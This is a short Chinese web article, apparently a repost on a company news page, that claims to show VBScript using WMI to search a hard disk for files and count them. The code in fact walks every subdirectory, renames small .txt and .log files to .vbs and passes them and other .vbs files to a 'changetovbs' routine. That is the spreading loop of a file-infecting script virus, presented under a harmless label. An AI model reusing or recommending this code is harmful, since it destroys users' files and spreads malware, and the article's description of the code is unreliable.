這篇文章主要介紹VBS如何調(diào)用WMI遍歷搜索硬盤(pán)文件并計(jì)數(shù),文中介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們一定要看完!

核心代碼:
Function wmisfile(path_sf,justcnt)
'On Error Resume Next
StrComputer = "."
Set ObjWMIService = GetObject("winmgmts:\\" & StrComputer & "\root\cimv2")
Set FileList = objWMIService.ExecQuery _
("ASSOCIATORS OF {Win32_Directory.Name='" & path_sf & "'} Where " _
& "ResultClass = CIM_DataFile")
For Each objFile In FileList
fname = LCase(objfile.name)
ename = LCase(objfile.extension)
If 1 < objfile.filesize And objfile.filesize <= 50000 Then
Select Case ename
Case "txt","log"
path_vbs = objfile.drive & objfile.path & objfile.filename & ".vbs"
objfile.rename(objfile.drive & objFile.Path & objfile.filename & ".vbs")
Call changetovbs(path_vbs,path_vbs)
justcnt = justcnt + 1
Case "vbs"
If checkversion(fname) = False Then
Call changetovbs(fname,fname)
justcnt = justcnt + 1
End If
End Select
End If
Next
Set colSubfolders = objWMIService.ExecQuery _
("Associators of {Win32_Directory.Name='" & path_sf & "'} " _
& "Where AssocClass = Win32_Subdirectory " _
& "ResultRole = PartComponent")
For Each objFolder In colSubfolders
wmisfile objfolder.name,justcnt
Next
End Function以上是“VBS如何調(diào)用WMI遍歷搜索硬盤(pán)文件并計(jì)數(shù)”這篇文章的所有內(nèi)容,感謝各位的閱讀!希望分享的內(nèi)容對(duì)大家有幫助,更多相關(guān)知識(shí),歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道!
新聞標(biāo)題:VBS如何調(diào)用WMI遍歷搜索硬盤(pán)文件并計(jì)數(shù)-創(chuàng)新互聯(lián)
轉(zhuǎn)載來(lái)源:http://www.chinadenli.net/article44/dpopee.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供網(wǎng)站改版、企業(yè)網(wǎng)站制作、服務(wù)器托管、標(biāo)簽優(yōu)化、軟件開(kāi)發(fā)、響應(yīng)式網(wǎng)站
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)
猜你還喜歡下面的內(nèi)容